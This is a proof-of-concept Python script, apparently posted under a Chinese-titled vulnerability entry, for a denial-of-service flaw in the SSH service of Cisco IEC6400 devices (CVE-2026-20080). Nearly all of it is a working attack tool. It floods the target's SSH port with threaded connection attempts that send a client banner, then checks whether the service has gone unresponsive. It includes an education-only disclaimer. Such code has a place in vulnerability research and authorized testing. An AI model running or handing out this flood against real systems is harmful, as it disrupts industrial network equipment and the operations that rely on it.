Cisco IEC6400 SSH服务拒绝服务漏洞 (CVE-2026-20080)

#!/usr/bin/env python3 """ CVE-2026-20080 PoC - Cisco IEC6400 SSH DoS Vulnerability This PoC demonstrates the SSH flood attack that can cause the SSH service to stop responding. Note: This code is for educational and authorized testing purposes only. """ import socket import time import concurrent.futures from datetime import datetime def ssh_flood_attack(target_ip, target_port=22, num_threads=50, duration=60): """ Perform SSH flood attack to trigger DoS condition Args: target_ip: Target device IP address target_port: SSH port (default: 22) num_threads: Number of concurrent connections duration: Attack duration in seconds """ print(f"[*] Starting SSH flood attack against {target_ip}:{target_port}") print(f"[*] Threads: {num_threads}, Duration: {duration}s") start_time = time.time() successful_connections = 0 failed_connections = 0 def attempt_connection(): nonlocal successful_connections, failed_connections try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Send SSH protocol banner sock.send(b"SSH-2.0-OpenSSH_8.0\r\n") # Wait briefly to consume resources time.sleep(0.1) sock.close() successful_connections += 1 except Exception as e: failed_connections += 1 # Launch concurrent connection attempts with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: while time.time() - start_time < duration: futures = [executor.submit(attempt_connection) for _ in range(num_threads)] concurrent.futures.wait(futures) time.sleep(0.5) elapsed = time.time() - start_time print(f"[+] Attack completed in {elapsed:.2f}s") print(f"[+] Successful connections: {successful_connections}") print(f"[+] Failed connections: {failed_connections}") def verify_ssh_unresponsive(target_ip, target_port=22): """ Verify if SSH service has become unresponsive after attack """ print(f"[*] Verifying SSH service status on {target_ip}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) result = sock.connect_ex((target_ip, target_port)) sock.close() if result == 0: print("[-] SSH service is still responsive") return False else: print("[+] SSH service appears to be unresponsive (DoS successful)") return True except Exception as e: print(f"[+] SSH service verification failed: {e}") return True if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="CVE-2026-20080 PoC") parser.add_argument("target", help="Target IP address") parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") parser.add_argument("--threads", type=int, default=50, help="Number of threads") parser.add_argument("--duration", type=int, default=60, help="Attack duration in seconds") args = parser.parse_args() print(f"[*] CVE-2026-20080 PoC - Cisco IEC6400 SSH DoS") print(f"[*] Target: {args.target}:{args.port}") print(f"[*] Started at: {datetime.now().isoformat()}") ssh_flood_attack(args.target, args.port, args.threads, args.duration) verify_ssh_unresponsive(args.target, args.port)